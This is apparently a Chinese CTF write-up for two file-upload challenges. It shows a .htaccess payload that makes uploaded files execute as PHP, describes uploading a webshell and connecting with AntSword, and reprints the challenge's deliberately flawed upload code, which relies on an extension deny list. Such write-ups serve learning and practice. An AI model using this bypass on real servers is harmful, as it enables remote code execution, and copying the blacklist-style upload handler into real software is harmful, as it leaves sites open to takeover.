[A]文件上传之图片上传题目
Give me your photo PLZ
提示
我好想看一些好康的图片呜呜
题目
.htaccess
是Apache的又一特色。一般来说,配置文件的作用范围都是全局的,但Apache提供了一种很方便的、可作用于当前目录及其子目录的配置文件——.htaccess(分布式配置文件)
<FilesMatch "zx"> #文件中含有zx(包括后缀)
SetHandler application/x-httpd-php #当文件名中有zx则以php执行
</FilesMatch>
或者
AddType application/x-httpd-php .jpg #文件后缀为.jpg为php执行
上传 .hataccess
文件
上传zx🐎。
执行php命令。
成功getshell,结束,谢谢徐师傅。
最后贴上源码:
<!DOCTYPE html>
<html lang="zh-CN">
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>文件上传</title>
</head>
<body>
<h1 align="center">大家好,这是一个不会写前端的web手做的图片渲染器,上传图片,我会帮你渲染出来的</h1>
<?php
if(!empty($_FILES)) {
if ($_FILES["file"]["error"] > 0) {
echo "错误:" . $_FILES["file"]["error"] . "<br>";
} else {
$extension = explode(".", $_FILES["file"]["name"]);
$extension = ".".strtolower(end($extension));
$deny_ext = array(".php", ".php5", ".php4", ".php3", ".php2", ".php1", ".html", ".htm", ".phtml", ".pht", ".pHp", ".pHp5", ".pHp4", ".pHp3", ".pHp2", ".pHp1", ".Html", ".Htm", ".pHtml", ".jsp", ".jspa", ".jspx", ".jsw", ".jsv", ".jspf", ".jtml", ".jSp", ".jSpx", ".jSpa", ".jSw", ".jSv", ".jSpf", ".jHtml", ".asp", ".aspx", ".asa", ".asax", ".ascx", ".ashx", ".asmx", ".cer", ".aSp", ".aSpx", ".aSa", ".aSax", ".aScx", ".aShx", ".aSmx", ".cEr", ".sWf", ".swf", ".ini");
if (in_array($extension, $deny_ext)) {
exit("上传木马可不是好习惯~~~");
} else {
move_uploaded_file($_FILES["file"]["tmp_name"], "upload/" . strtolower($_FILES["file"]["name"]));
echo "<img src='upload/" . strtolower($_FILES["file"]["name"]) . "'>";
}
}
}
?>
<form align="center" method="post" enctype="multipart/form-data">
<label for="file">文件名:</label>
<input type="file" name="file" id="file">
<input type="submit" name="submit" value="提交">
</form>
</body>
</html>
参考链接
https://blog.csdn.net/qq_61988806/article/details/123245564
[MRCTF2020]你传你🐎呢
试了下,.htaccess可以上传。
所以上传
<FilesMatch "zx"> #文件中含有zx(包括后缀)
SetHandler application/x-httpd-php #当文件名中有zx则以php执行
</FilesMatch>
上传之后,再上传zx.php。
蚁剑链接即可。
出问题请看:https://blog.csdn.net/weixin_44632787/article/details/118049911
总结:操作不规范,getshell两行泪。